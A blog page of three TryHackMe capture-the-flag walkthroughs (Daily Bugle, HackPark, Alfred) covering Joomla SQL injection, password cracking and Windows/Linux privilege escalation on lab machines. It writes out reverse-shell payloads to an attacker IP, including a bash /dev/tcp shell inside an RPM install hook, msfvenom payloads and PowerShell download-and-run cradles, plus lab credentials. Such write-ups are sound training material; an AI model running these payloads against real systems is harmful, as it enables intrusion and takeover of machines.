Skip to content

Tag: TryHackMe

THM – Daily Bungle

Published by Bobby Lin on July 2, 2021
Amazing Spider-Man: The Daily Bugle (2020) #2 | Comic Issues | Marvel

Lab Stats

Time: 6 hours

Hint taken: 0

Difficulty: Hard

Recon

I accessed the web server. This is a blog-like application showing an item that “Spider-man” rob the bank.

Looking at the HTML, it shows that Joomla! is being used.

At first look, I am trying to find the Joomla! version in the web pages – but does not seems to have the info.

I googled for more information and found out that we can see the Joomla! version by looking at the language.

https://www.itoctopus.com/how-to-quickly-know-the-version-of-any-joomla-website

Web Enumeration

Navigate to robots.txt

I tried navigating all the directories in robots.txt. The /administrator was promising because it shows an admin panel.

But I need to find the credentials for Super User first.

Network scanning

  • ssh (22)
  • http (80)
  • mysql (3306)

It seems like the main attack vectors are the web server and database.

Gaining Foothold (1)

I tried a few SQL Injection payload in user login feature. But it does not work.

So I googled for exploit for Joomla! 3.7.0

https://raw.githubusercontent.com/NinjaJc01/joomblah-3/master/joomblah.py

Note: This requires python2

Found table:', 'fb9j5_users') Found user', ['811', 'Super User', 'jonah', 'jonah@tryhackme.com', '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm', '', '']) (' - Extracting sessions from', 'fb9j5_session')

I will need to crack the password. First, I try to see what is the hash algorithm used for the password using online hash identifier (https://hashes.com/en/tools/hash_identifier)

I tried to use john to crack the password:
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt jonah.txt

So the password is spiderman123

I login on as jonah in the admin panel.

Getting Reverse Shell from Joomla!

This took more time.

After googling, I discover that we can change the index.php file in the template to php reverse shell.

Joomla: Reverse Shell

Gaining Foothold (2)

I struggle to find the user flag manually. So I decided to run some Linux Enumeration scripts.

I used python command to spawn:
python -c 'import pty; pty.spawn("/bin/sh")'

Mistakes

I went through my Linux PE checklist and none of the checks is working.

I saw we have an account:

  • jjameson:x:1000:1000:Jonah Jameson:/home/jjameson:/bin/bash

In addition, I tried to check a few things:

  • Trying all the SUID binaries to see if I can escalate privileges -> Doesn’t work
  • Looking for Kernel Exploits -> Doesn’t work

Then during the linpeas enumeration, I saw a database password was discovered.

  • Test if mysql has any exploit and whether it is running as root -> Doesn’t work
    • I tried to login as root: mysql -u root -p -D joomla
    • But there are nothing useful there.
  • I tried looking for Linux exploits and sudo exploits -> Doesn’t work
  • No progress. I am going to login as jjameson in SSH. I tried bruteforcing but it does not work.

How I realize my mistakes?

At this point, I have not made any progress other than finding the database password.

MYSQL Password
user: root
pw: nv5uz9r3ZEDzVjNu

So I read through the checklist of other hackers.

This helps alot: https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_-_linux.html

I realized my mistake. I should check if the discovered passwords are being reused for SSH and not rely on brute-forcing only.

SSH – Login Checks Methodology

  1. Check if whether the known passwords are reused? Do this for every new password discovered during enumeration
  2. If not, then try to bruteforce.

I took 4 hours to figure out that the database password is reused as jjameson ssh password.

Privilege Escalation

Now I can login as jjameson.

The first thing I do is to run sudo -l

I saw that this account can run sudo yum.

Yum PE

Good article: https://medium.com/@klockw3rk/privilege-escalation-how-to-build-rpm-payloads-in-kali-linux-3a61ef61e8b2

First I need to install fpm and rpm.

git clone https://github.com/jordansissel/fpm
cd fpm
sudo gem install fpm
sudo apt-get install rpm

Then create a root.sh file with the payload:

#!/bin/bash

bash -i >& /dev/tcp/[ATTACKER IP]/3333 0>&1

Then create the package with root.sh:

fpm -n root -s dir -t rpm -a all --before-install root.sh .

Start a nc listener at port 3333.

Download the package in the target machine and install:

sudo yum localinstall -y [package name].rpm

In the listener, we will receive connection as root user.

THM – HackPark: Hacking Windows with Hydra, RCE & WinPEAS

Published by Bobby Lin on June 29, 2021

Navigate to the Application and explore the features. You will notice a Login page.

We need to identify a possible username for brute-forcing the credentials. When we look at the blog post, we can see an author named “admin” or “administrator”.

Using Burp Intruder, we can brute-force the password using Seclist’s common credentials:

10-million-password-list-top-100.txt
10-million-password-list-top-500.txt
10-million-password-list-top-1000.txt
10-million-password-list-top-10000.txt
10-million-password-list-top-100000.txt

We found the password: 1qaz2wsx

When we login, we can identify the version of blogengine.

Search for exploits in exploit-db. Choose the verified exploit:

Save the file as PostView.acsx

Once the file is uploaded, we can see the file in File manager.

Start a nc listener in the attacker machine: nc -lvnp 4444

Navigate to <Target Machine>/?theme=../../App_Data/files

Once you gain initial access to the server, we will pivot from netcat to a more stable shell.

Generate a reverse shell exe;

msfvenom -p windows/shell_reverse_tcp LHOST=[Attacker IP] LPORT=3333 -f exe -o shell-x86.exe

Download the shell and Winpeas to C:\Windows\Temp\ (this is world writable).

We can run winPEAS.bat and we can see the uncommon service “Windows Scheduler” running.

cd to C:\PROGRA~2\SYSTEM~1

Examine the files in the directory to see if there are any useful information.

In the Events folder, we can see that Message.exe is being executed by Administrator periodically.

Replace the Message.exe with another reverse shell payload. Rename the existing Message.exe to old_message.exe

In Attacker machine, generate the reverse shell:

msfvenom -p windows/shell_reverse_tcp LHOST=[ATTACKER IP] LPORT=5555 -f exe -o Message.exe

Download the Message.exe (reverse shell) to the folder:

powershell -c wget "http://[ATTACKER IP]/Message.exe" -outfile "Message.exe"

cd C:\Users\Administrator\Desktop and we can see the root.txt flag.

THM – Alfred: Exploiting Jenkins

Published by Bobby Lin on June 26, 2021

Link: https://tryhackme.com/room/alfred

Recon

Run nmap [Target Machine IP]

There are 3 ports open (TCP connect).

Open [Target Machine IP]:80 and [Target Machine IP]:8080.

[Target Machine IP]:8080 is a login page to Jenkins. Google for the default password of Jenkins (admin:admin).

Once you login, you will see a build. If you look at the build job, you can see that this is a Windows machine. Configure the job and insert the reverse shell to the build command:

powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port

Download this powershell in attacker machine and host the file with python server (port 8888).

Run nc -lvnp 4444 in attacker machine. Then trigger a build in this job.

We will get a shell from the Target machine. Look for the user.txt (usually it is in the one of the user’s document or desktop folder).

Th

e text contains:

Upgrade shell

Generate a payload

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[ATTACKER IP] LPORT=3333 -f exe -o shell.exe

Open the msfconsole in attacker machine and run these commands (line by line):

msfconsole
use exploit/multi/handler 
set PAYLOAD windows/meterpreter/reverse_tcp 
set LHOST [ATTACKER IP] 
set LPORT 3333
run

Download the shell.exe into the Target machine using Jenkins.

powershell "(New-Object System.Net.WebClient).Downloadfile('http://[ATTACKER IP]:8888/shell.exe','shell.exe')"

In the machine, run Start-Process shell.exe to upgrade the shell.

If this is successful, you will see the output in the msfconsole


Privilege Escalation with Access Token

Find out what is the privilege of the user using whoami /priv

In msfconsole, load incognito and run list_tokens -g to find out the available tokens.

Run impersonate_token “BUILTIN\Administrators” command to impersonate the Administrators token

migrate PID-OF-PROCESS

Start a shell.